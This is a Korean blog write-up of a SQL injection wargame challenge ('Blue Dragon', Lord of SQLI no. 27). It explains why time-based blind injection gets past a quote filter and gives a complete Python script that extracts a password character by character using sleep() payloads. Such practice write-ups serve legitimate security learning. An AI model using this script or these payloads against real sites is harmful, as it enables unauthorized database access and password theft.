LOS(The Lord of the SQLI) 27 - BLUE DRAGON

2021. 2. 25. 18:16정보보안/웹 해킹

27번 문제 Blue Dragon

 

27번 문제인 Blue Dragon이다.

 

이젠 마지막 조건식을 보면 pw값을 알아내야 하는 Blind SQL Injection이라는것을 알 수 있다.

 

그리고 필터식을 보면 '(싱글쿼터)와 \(역슬래쉬)를 사용하지 못한다.

 

' 삽입 시

 

'(싱글쿼터) 삽입 시 위와 같이 no hack이라고 출력된다. 여기에서 이상하다고 생각한 부분은 여태까지는 아예
다른 화면으로 넘어간 뒤 에러를 출력했는데 이번 문제에서는 위에 쿼리문은 그대로 남아있다는 점이었다.

 

결론부터 말하자면 이 문제는 처음으로 Time Based Blind SQL Injection 방법을 이용해 해결하였다.

Time Based 방식을 이용할 수 있었던 이유는 '(싱글쿼터) 필터링이 쿼리 실행후에 필터링되기 때문에 

No Hack ~_~ 이라는 에러 문구가 출력되어도 쿼리 자체는 전달되어 sleep() 함수 등의 시간 지연 함수로

참인지 거짓인지를 판별할 수 있기 때문이다.

 

문제를 풀기위해 작성한 스크립트는 다음과 같다.

 

import requests
import time

URL = 'https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php' # 자신의 los 4번 문제의 url 주소 수동 입력
cookies ={'PHPSESSID': 'ivcu814ac0c2fj0ol7pqsqpdat'} # 자신의 los 세션값 수동 입력

ascii_range = []

for i in range(48,58):
    ascii_range.append(i)

for i in range(97,123):
    ascii_range.append(i)

# 패스워드의 길이를 찾는 함수
def find_len():
    pw_len = 0
    while True:
        pw_len += 1
        # url? 뒤에 추가될 값이 value

        value = "admin' and if(length(pw)={},sleep(2),1=2)#".format(pw_len)
        parms={'id': value}
        start = time.time()
        response = requests.get(URL, params=parms, cookies=cookies) # URL과 파라미터, 쿠키를 설정한 후 request를 보낸 뒤 돌아오는 response(응답값)를 저장
        end = time.time()
        if end - start > 2:
            print("길이는", pw_len, "입니다.")
            break

        print("Trying")

    return pw_len

def find_pw():
    pw_len = find_len()
    flag=''
    for pw_value in range(1,pw_len+1):
        for ascii in ascii_range: # 아스키 코드값
            value = "admin' and if(ascii(substr(pw,{},1))={},sleep(2),1=2)#".format(pw_value,ascii)
            parmas = {'id':value }
            start = time.time()
            response = requests.get(URL, params=parmas, cookies=cookies)
            end = time.time()
            if end - start > 2:
                print("pw의",pw_value,"번째는",chr(ascii), '입니다.')
                flag += chr(ascii)
                break
    print("pw는", flag, "입니다.")

find_pw()

 

 

스크립트 결과

 

 

27번 문제 BLUE DRAGON Clear!